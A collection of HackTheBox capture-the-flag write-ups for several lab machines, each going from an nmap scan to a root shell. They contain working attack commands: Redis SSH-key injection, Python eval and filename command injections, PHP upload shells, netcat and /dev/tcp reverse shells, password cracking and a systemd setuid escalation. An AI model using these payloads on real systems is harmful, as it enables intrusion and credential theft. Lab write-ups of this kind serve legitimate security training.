HackTheBox – Postman

The initial nmap scan for the HackTheBox machine “Postman” revealed a few open ports:

# Nmap 7.80 scan initiated Sun Nov  3 14:41:26 2019 as: nmap -p- -o nmap_full
Nmap scan report for
Host is up (0.045s latency).
Not shown: 65531 closed ports
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

The website on port 80 showed nothing of interest for us. On port 10000 there was a Webmin instance running in version 1.910. There are exploits for that version, but the unauthenticated exploit didn’t work since the password change feature was disabled and the remaining exploit required authentication.

That leaves the open Redis port 6379. There is a common way to escalate to a shell using Redis. Basically we write our SSH public key into a Redis key, then set the Redis directory to the .ssh folder of a user, change the database file name to authorized_keys and force Redis to write that file.

We’ll do just that:

# cat foo.txt 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfPFneogPBvgeGccPGx9v0rz8sj6Gp7KaGNRocDfqNuSf5V0rB20AW0SNQh0UQRMb1QitaOub5ajwrtcHPckuY9WyhW76wIsXtxK5agOZuoj5BGOPLmXG7zVEBMLQ9BtnDzvTMM7RolR1Mp+VMZuj2ZOdtI4TgqZ0A8rVkXIGtQrntMQz1KBubnEHe5p30TrJMExeymZ3ZiIyQPFV/CxCayq8JJ4E+sIrLU8KxWH5QB5TRqtZTgjjzOn93ugXeNiMjTjzZCa5CcnCjXBiF5NkI6huCsg6GxuGEHdCLVeDwt8t75zV5cW1dDAt9EYaLB36grfMfkGZW8aIAZe5ClqQH root@kali

# cat foo.txt | redis-cli -h -x set crackit
# redis-cli -h> config set dir /var/lib/redis/.ssh
OK> config set dbfilename "authorized_keys"
OK> save
OK> exit
# ssh redis@
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
Last login: Mon Aug 26 03:04:25 2019 from
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

There are two important things here to mention. First, the public key that we prepared to pipe into redis-cli is surrounded by a couple of newlines. If they are missing the SSH server will not be able to find our public key in the file since Redis will write some binary data to the beginning of the line.
And second, the folder /var/lib/redis/.ssh had to be guessed. This can be looked up by installing the Redis service on a local machine and figuring out what is set as the default home for this user.

This is still a rather constructed scenario since the .ssh folder would normally not exist and the redis user would not have a valid login shell set.

Now we have a low privileged shell on the system. There is only one other user on the system, “Matt”. Searching for files owned by this user on the system we find this:

redis@Postman:~$ find / -uid 1000 2>/dev/null

The first hit looks interesting. A SSH private key backup file, which is readable by us. But it is encrypted. We copy it locally to our attacking Kali and brute-force the password:

# /usr/share/john/ssh2john.py id_rsa.bak > mattkey
# john --wordlist=/usr/share/wordlists/rockyou.txt mattkey 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa.bak)

We now have the password, but connecting via SSH using this key still fails. Checking on the server with our low privilege shell we can find the following setting in /etc/ssh/sshd_config:

#deny users
DenyUsers Matt

We can’t get around that. But we now have valid credentials. First off we can simply run su - Matt and supply the password to get the user shell. But also these credentials can be used on the Webmin interface at Now we can use the Webmin exploit which requires authentication first. There is a metasploit module for that, so we’ll just use that:

And with that we get both flags.

HackTheBox – Bitlab

The initial nmap scan of the HackTheBox machine “Bitlab” only showed two open ports:

# Nmap 7.80 scan initiated Sun Sep 15 03:20:33 2019 as: nmap -p- -o nmap_full
Nmap scan report for
Host is up (0.028s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

On port 80 the website only showed the login page for a Gitlab instance:

Of course we didn’t have a login yet. All projects of that instance were private, nothing showed up under the Explore link. But the Help link pointed to the following:

And the booksmarks.html displayed this:

The first 4 links were not interesting, but the last one was a JavaScript snippet. Cleaning up the code (converting URL encoded characters back to normal characters) this turns into:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

We didn’t actually have to understand the code, this can be pasted into the JavaScript console of Firefox and get executed. Doing that will automatically fill out the username and password of the Gitlab login page:

Since our browser is routed through Burp we can grab the credentials for later:
Username: clave
Password: 11des0081x

Being logged in to Gitlab we get access to two projects:

The deployer repository basically only contained this index.php file:

This looks like a hook that is called when the Profile repository gets a new commit merged. It will change to the profile path and run sudo git pull.

The Profile repository only contained a index.php file with static HTML content.

Now we also know those URLs:

Since we understand that adding a new commit to the Profile repository will get automatically pulled in this reachable folder, we can upload a PHP shell. Checking out this git repository remotely didn’t work, however Gitlab includes functionality to do that in the browser.

First we switch to the test-deploy branch of the repository:

Then add a new file:

And now we can simply create a new file:

Afterwards we commit it, created a merge request and merged it. Since this will be deployed automatically we can call the PHP shell just a few seconds later:

However, this was a low privileged shell as the user www-data. With this we did a ton of enumeration which lead nowhere. Finally going back to the Gitlab instance we noticed the snippets feature. There only exists this snippet on the server:

That’s a pretty big hint that there might be something useful in that PostgreSQL table. So, we did another merge request to deploy this code:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$resultArr = pg_fetch_all($result);

Repeating the steps from above we commit those contents again to shell.php in the test-deploy branch. Create a new merge request via this button:

Submit the merge request:

And merge it:

Calling the shell now returns the data from PostgreSQL:

The password returned looks like a base64 encoded string but it does not decode. After trying to fix the string for a while we simply tried to use that string as the literal password, and that works for the user clave via SSH:

With that we finally got the user flag. The only suspicious file to gain root was the RemoteConnection.exe file in the home directory of clave. Trying to reverse it with Hopper for a bit lead nowhere. Trying to debug it while running was the plan next. Simply running it via wine only showed this error message:

Next we ran it via OllyDbg. By simply setting a break point on that “Access Denied !!” print message we got the following:

Looking at the stack in the window at the bottom right we can see parameters which are intended for PuTTY:

ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^"

With those credentials we can now login as root:

And with that we got the root flag.

HackTheBox – Craft

The initial nmap scan for Craft didn’t reveal a lot of open ports:

# Nmap 7.70 scan initiated Thu Jul 18 15:19:14 2019 as: nmap -o nmap_full -p-
Nmap scan report for
Host is up (0.032s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh
443/tcp  open  https
6022/tcp open  x11

There were 2 SSH ports open (6022/tcp was SSH, not x11) and otherwise only HTTPS. The certificate of the site had a common name of “craft.htb”, so we added that to “/etc/hosts”. The HTTPS site was practically just static content (accessing via the IP and the “craft.htb” name gave the same page):

However, at the top right were two links to two different subdomains. “https://api.craft.htb/api” and “https://gogs.craft.htb/”. We add those also to “/etc/hosts”: craft.htb api.craft.htb gogs.craft.htb

The API subdomain is a Swagger UI interface:

But all the interesting enpoints require either a token or credentials to login.

“gogs.craft.htb” is a self hosted Git service. Browsing the site we can get access to the source code of the API. But also the issue tracker is available:

Thanks to that issue we now know what header the API expects from us. The token in the issue is however already expired. More interestingly the last comment of that issue was:

That sounds suspicious, let’s check out that commit:

That eval() on line 43 is practically executing any code we pass to it in the abv parameter. But we still need a token first. After a few dead-ends we take a look at the commit history of the project, there are only 6 commits in total and one in particular contained user credentials and in a later commit they were removed again:

With those credentials we can now login and get a token back:

# curl "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H  "accept: application/json" -k

Using this token we can now access the “/api/brew” endpoint which uses the insecure eval().

There are a few restrictions though, it expects python code and we will not get the result printed back. Passing something like this as the “abv” value will execute the “sleep 5” command which we can easily detect by the time it takes to respond:

__import__(\"os\").system(\"sleep 5\")

Immediately spawning a reverse shell didn’t work, but we can do some basic recon like this:

# does nc exist?
__import__(\"os\").system(\"which nc && sleep 5\")
# does bash exist?
__import__(\"os\").system(\"which bash && sleep 5\")
# are outbound connections to port 80 possible?

“nc” did exist (but probably didn’t support the “-e” flag), bash did not exist and outbound connections were possible, also to other ports. But a alternative reverse shell using “nc” without the “-e” flag worked. We start a local nc listener first locally on port 4444/tcp and then run:

# curl -X POST "https://api.craft.htb/api/brew/" \
-H "X-Craft-API-Token: $TOKEN" \
-H  "accept: application/json" \
-H  "Content-Type: application/json" \
-d '{  "id": 0,  "brewer": "string",  
"name": "string",  "style": "string",  
"abv": "__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f\")"}' -k

And we get a connection back:

Of course this isn’t the final root shell, as it turns out this system runs inside a Docker container. Which also explains why “bash” does not exist on it. There isn’t much on the system but it does have access to a MySQL server. Very helpfully a “mysql_client.py” script is already ready for our use. From there we can get additional credentials:

We then try those to login at the various services and figure out that “dinesh” and “gilfoyle” can login at the Gogs instance. Gilfoyle has a private repository set up at Gogs, “craft-infra”:

In the “.ssh” folder is a SSH private key, we download it. There is also the corresponding  public key, the comment in there indicates that the key is for “gilfolye@craft.htb”. We use that key to login, the passphrase is the same as the password we got from MySQL for gilfolye:

In the repository is one more interesting configuration. Vault is being used to store credentials, and there is a configuration for root SSH using OTP:

We simply use this to login as root:

Vault happily gives us the one time password with which we can login as root.


HackTheBox – Wall

The initial nmap scan for the HackTheBox machine “Wall” only reveled two open ports:

Nmap scan report for
Host is up (0.056s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

The website on port 80 was the Debian standard welcome page, nothing interesting there.
Running dirb against the target got back those paths and files:


The file aa.php just displayed the number “1”. And panel.php only displayed the text “Just a test for php file !”.
Any file requested under monitoring asked for username and password.
This took me a while to figure out, but the password was only requested for GET requests, if a POST request was sent, this was the result:

HTTP/1.1 200 OK
Date: Fri, 04 Oct 2019 11:26:09 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 03 Jul 2019 22:47:23 GMT
ETag: "9a-58ccea50ba4c6-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 154
Connection: close
Content-Type: text/html

<h1>This page is not ready yet !</h1>

<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

With that we found a new path: /centreon
Centreon is a monitoring software based on Nagios. Checking for past vulnerabilities, there comes up a remote code execution – but it requires authentication first.
Having exceeded all options I tried to brute-force the password. Checking their documentation we can figure out that the default username is “admin”. And that they also offer an API. We use the API to brute-force the password since the WebUI uses CSRF tokens.
Using hydra we brute-force the password:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -V http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:F=Bad" -I

[80][http-post-form] host:   login: admin   password: password1

Now that we got credentials I’ve tried to use the RCE vulnerability (CVE-2019-13024).
I’ve spent a ton of time on this but I couldn’t make it work. There is a filter in place which responds with 403 errors when a space is in the payload. And even when I tried to circumvent that, it didn’t work.

After a while I found CVE-2019-17501, this is much easier. The filter appears not to be active there. So we navigate to Configuration -> Commands -> Discovery

Here we get a box in which we can simply enter commands and using the blue play button next to “Argument Example” we can directly execute those.

Still, spawning directly a reverse-shell was not possible since some characters were escaped. To get around this, I’ve started a local webserver and placed the file rev.sh in its root with this content:


bash -i >& /dev/tcp/ 0>&1

Next we enter the following command into the command line field:

And execute it:

Now the reverse shell is on the system. We start a local netcat listener already by running nc -vnlp 2222 and repeat the steps above but now simply run bash /tmp/rev.sh instead of the wget.

With that we get a connect back from the server:

Running the linux smart enumeration script shows us that there is a uncommon setuid binary: /bin/screen-4.5.0

For this exact version there is a vulnerability that allows to escalate to root. I was first trying to use this vulnerability to drop a file in /etc/sudoers.d to escalate privileges, but the file was always either not written or had too wide permissions for sudo to accept it.

Instead I used the PoC from here https://github.com/XiphosResearch/exploits/tree/master/screen2root to simply get a root shell:

And that gives us a root shell with which we can get both flags.

HackTheBox – Heist

The initial nmap for the easy rated HackTheBox machine “Heist” reveled only a few open ports:

# Nmap 7.70 scan initiated Sun Aug 11 05:02:23 2019 as: nmap -o nmap_full -p-
Nmap scan report for
Host is up (0.036s latency).
Not shown: 65530 filtered ports
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

The website running on port 80/tcp only showed a login page:

On the bottom right corner there is a link to login as a guest, using this we can see a issue tracking system:

The ticket mentions a broken configuration file but also that the user “Hazard” wants an account on the windows server. This might be useful later. The attachment can be viewed as well:

There are 3 passwords included in this file. 2 of them use a reversible format (for example using https://packetlife.net/toolbox/type7/), the plaintext passwords are:


The 3rd one (“secret 5”) must be brute forced:

# cat hashes.txt 
# john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (enable_secret)
1g 0:00:00:39 DONE (2019-09-08 11:29) 0.02557g/s 89650p/s 89650c/s 89650C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Next we’ve tried enumerating users on the system using Impacket and the script lookupsid.py. We can guess that the user “Hazard” exists on the system and try the above passwords:

# ./lookupsid.py ./hazard@
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at
[*] StringBinding ncacn_np:[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

The password “stealth1agent” worked. With that we have the workgroup name as well as new user names on the system. We’ve added all passwords and usernames to their own text files and used the metasploit module “auxiliary/scanner/winrm/winrm_login” to try to login with all combinations:

We have another username and password combination. Using WinRM we can now get a shell on the system and get the user flag:

# ./evil-winrm.rb -i -u Chase -p 'Q4)sJu\Y8qz*A3?d'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt

Doing enumeration on the system showed that there are several firefox.exe processes running. Trying to find any information on disk didn’t reveal anything usable. Next we wanted to check what the firefox.exe process is doing. For that we first upload procdump.exe, create a dump file and then download it:

*Evil-WinRM* PS C:\users\chase\documents> upload /root/hackthebox/heist/procdump.exe
Info: Uploading /root/hackthebox/heist/procdump.exe to .

Data: 868564 bytes of 868564 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\users\chase\documents> ./procdump.exe -mp 6168

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[21:59:13] Dump 1 initiated: C:\users\chase\documents\firefox.exe_190908_215913.dmp
[21:59:16] Dump 1 complete: 116 MB written in 2.1 seconds
[21:59:16] Dump count reached.

*Evil-WinRM* PS C:\users\chase\documents> download firefox.exe_190908_215913.dmp 
Info: Downloading firefox.exe_190908_215913.dmp to firefox.exe_190908_215913.dmp

By simply running strings on that file we can find the following URL that this browser seems to constantly request:


This includes the plaintext password for the admin user. With that we can now also login to the system and get the root flag:

# ./evil-winrm.rb -i -u Administrator -p '4dD!5}x/re8]FBuZ'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt

HackTheBox – Networked

The initial nmap for the HackTheBox machine Networked revealed only 2 open ports:

# Nmap 7.80 scan initiated Sat Sep 14 09:59:25 2019 as: nmap -p- -o nmap_full
Nmap scan report for
Host is up (0.026s latency).
Not shown: 65532 filtered ports
22/tcp  open   ssh
80/tcp  open   http

The website on port 80 only displayed this message:

The source code of that pages also includes a comment:

Running dirb against the website shows a interesting folder:

---- Scanning URL: ----
+ (CODE:403|SIZE:210)
+ (CODE:200|SIZE:229)

The backup folder only contains one file, backup.tar. Downloading this file we get the full source code of the application:


We can now request those files as well and explore the functional parts. The upload.php file allows us to upload images which are then displayed on photos.php.

Reading upload.php we can see that the images get uploaded to the uploads folder. The filename of the upload is checked and must end in .jpg, .jpeg, .png or .gif. It also checks that the file is an image via the PHP function finfo_file().

The file extension can’t be circumvented, but we can craft a file that passes as a gif image which includes PHP code like this:

<?php system('nc -e /bin/sh 4444'); ?>

We uploaded the file as “foo.php.gif” like this:

Afterwards we started a netcat listener on port 4444. We can now get the URL of the uploaded image by accessing Accessing the URL spawned a reverse shell as the apache user:

# nc -lvp 4444
listening on [any] 4444 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 50108
uid=48(apache) gid=48(apache) groups=48(apache)

With that user we could now also investigate why a .gif file is being executed as PHP. The PHP configuration on the system was changed to this:

% cat /etc/httpd/conf.d/php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

The AddHandler line does interpret only files with the .php extension as PHP code, but as written in the mod_mime documentation, a file can have multiple extensions. And the extension argument will be compared against all of them.

The default configuration would be:

<FilesMatch \.php$>
    SetHandler application/x-httpd-php

This would make sure that only files ending in .php would get interpreted as PHP code. But this wasn’t used.

Due to that the gif file was interpreted as PHP code.
To get a user shell we found those two files in the home of guly:

cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
cat check_attack.php
<?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) {
  if ($value == 'index.html') {
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");


This means that every 3 minutes the check_attack.php script is running. This script checks if the uploaded files are malicious by checking against a regex and running the names through the check_ip() function. If the file is detected as malicious it gets removed, but the call to rm is not sanitized. We can inject commands to that. We simply create a malicious file like this:

cd /var/www/html/uploads
touch 'fooo; nc -c sh 5555'

After waiting 3 minutes our netcat listener got a connection back with the user guly:

# nc -vnlp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 42036
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cat user.txt

One of the first things to always check after gaining user is any configured sudo permissions, this time we got one allowed command:

sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

The /usr/local/sbin/changename.sh script does the following:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
/sbin/ifup guly0

It basically asks us to fill out 4 variables, then writes a network interface configuration file and tries to bring up that device. By passing in xx sh as one of the variables we can get a root-shell:

sudo /usr/local/sbin/changename.sh
interface NAME:
xx sh
interface PROXY_METHOD:
interface BROWSER_ONLY:
interface BOOTPROTO:
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Now why does this work?
In the resulting ifcfg-guly file this line will be written:

NAME=xx sh

The command /sbin/ifup guly0 will at some point run the following function:

source_config ()
    . /etc/sysconfig/network-scripts/$CONFIG

This sources the file which includes the above variable assignment. Sourcing is practically just running the supplied script but in the current shell (variables set in the script would be available afterwards). So this will run:

NAME=xx sh

Since that variable assignment is not quoted that means that the command sh is run with the environment variable NAME set to xx. Since sh doesn’t care about that variable, it simply runs, giving us a root-shell.

HackTheBox – Jarvis

The initial nmap scan only showed a few open ports:

# nmap -T4 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-23 08:58 EDT
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65531 closed ports
22/tcp    open     ssh
80/tcp    open     http
64999/tcp open     unknown

The high port only showed a single line of text when accessed via HTTP and I couldn’t figure anymore on it out. It always just displayed that we are banned.

Running gobuster against port 80 revealed the following folders:

/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/phpmyadmin (Status: 301)
/sass (Status: 301)
/server-status (Status: 403)

Of course /phpmyadmin is interesting. The version also has known vulnerabilities but all of them require us to authenticate first.

Browsing the site it looks mostly like a static website without many inputs. Only one page takes a parameter, the /room.php URL:

Simply running sqlmap with the “–passwords” option against this will give us valid MySQL credentials. The brute-force of the hash with all default settings takes only a minute:

# sqlmap -u ""
[14:51:52] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
# sqlmap -u "" --passwords

[*] starting @ 14:52:29 /2019-07-10/

[14:52:29] [INFO] resuming back-end DBMS 'mysql' 
[14:52:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 5517=5517

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-7469 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6c5765576143544d636a4a4257796d65536251776d72787965634362434d7257434c555865554170,0x7171706271),NULL,NULL,NULL,NULL-- WuKC
[14:52:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[14:52:30] [INFO] fetching database users password hashes
[14:52:30] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[14:52:35] [INFO] writing hashes to a temporary file '/tmp/sqlmapB85vZg3804/sqlmaphashes-DOQup7.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[14:52:37] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:52:38] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[14:52:41] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:52:41] [INFO] starting 2 processes 
[14:52:47] [INFO] cracked password 'imissyou' for user 'DBadmin'                                                                                             
database management system users password hashes:                                                                                                            
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
    clear-text password: imissyou

With that we can now login to phpMyAdmin. But we don’t really need to do that. We already know that in that version of phpMyAdmin there is a remote code execution vulnerability (CVE-2018-12613) for which also a metasploit module exists. We use that module like this now that we have credentials:

msf5 exploit(multi/http/phpmyadmin_lfi_rce) > show options

Module options (exploit/multi/http/phpmyadmin_lfi_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   imissyou         no        Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phpmyadmin/     yes       Base phpMyAdmin directory path
   USERNAME   DBadmin          yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Linux

msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run

[*] Started reverse TCP handler on 
[*] Command shell session 1 opened ( -> at 2019-07-10 13:47:58 -0400

uid=33(www-data) gid=33(www-data) groups=33(www-data)

With that limited shell we can look around the system for a bit. There only exists one normal user on the system (“pepper”), so we try to escalate to that. Checking for sudo rights this is returned:

$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

So we can run “/var/www/Admin-Utilities/simpler.py” as the user “pepper”. Reading the code there is an interesting “ping” function in that program (highly shortened):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)

if __name__ == '__main__':
    elif sys.argv[1] == '-p':

We can use the “-p” option of this script. Then we need to evade a blacklist of a few characters and part of our input ends up in a os.system() call. Since neither “$”, “(” nor “)” are blacklisted this is rather easy. We start already a netcat listener on port 6666 and then run:

$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 

Enter an IP: $(/bin/bash)
pepper@jarvis:/usr/share/phpmyadmin$ nc -e /bin/bash 6666

When it asks for the IP Address we enter “$(/bin/bash)”, this circumvents the filters and starts a new shell as the user “pepper”. But it’s not a full shell, we don’t get any output back from it. I’m sure this can be fixed but instead we just paste “nc -e /bin/bash 6666” into that shell which connects back to our listener:

# nc -nlvp 6666
listening on [any] 6666 ...
connect to [] from (UNKNOWN) [] 48748
$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)

$ cat user.txt

With that we got the user flag. Trying to escalate to root we search for uncommon setuid binaries and we find that “/bin/systemctl” has strange permissions:

$ ls -l /bin/systemctl
-rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl

With the help of GTFObins we can now escalate to root. We again already start a new netcat listener on port 7777, then:

$ mkdir -p ~/.config/systemd/user
$ cd ~/.config/systemd/user
$ echo '[Service]
ExecStart=/bin/sh -c "nc -e /bin/bash 7777"
WantedBy=multi-user.target' > test.service
$ /bin/systemctl link /home/pepper/.config/systemd/user/test.service
<link /home/pepper/.config/systemd/user/test.service
Created symlink /etc/systemd/system/test.service -> /home/pepper/.config/systemd/user/test.service.
$ /bin/systemctl enable --now /home/pepper/.config/systemd/user/test.service
<-now /home/pepper/.config/systemd/user/test.service
Created symlink /etc/systemd/system/multi-user.target.wants/test.service -> /home/pepper/.config/systemd/user/test.service.

With that we create a new unit file in the users home folder under “~/.config/systemd/user”, we then link and enable it. With that we get a connection back to our listener:

# nc -nlvp 7777
listening on [any] 7777 ...
connect to [] from (UNKNOWN) [] 50372
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt

And with that we finally got the root flag.

HackTheBox – Haystack

The initial nmap scan of Haystack didn’t reveal a lot of open ports:

# Nmap 7.70 scan initiated Sun Jul 14 11:42:39 2019 as: nmap -o nmap_full -p-
Nmap scan report for
Host is up (0.025s latency).
Not shown: 65532 filtered ports
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

On port 80 only a picture of a needle in a haystack was displayed. Nothing else could be found on that web-server neither with gobuster nor dirb. We of course don’t have any credentials yet for SSH on port 22 so only port 9200 remains. On port 9200 Elasticsearch is listening. There is no authentication configured for it either.

First, let’s get the configured indexes:

# curl -s '' 
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
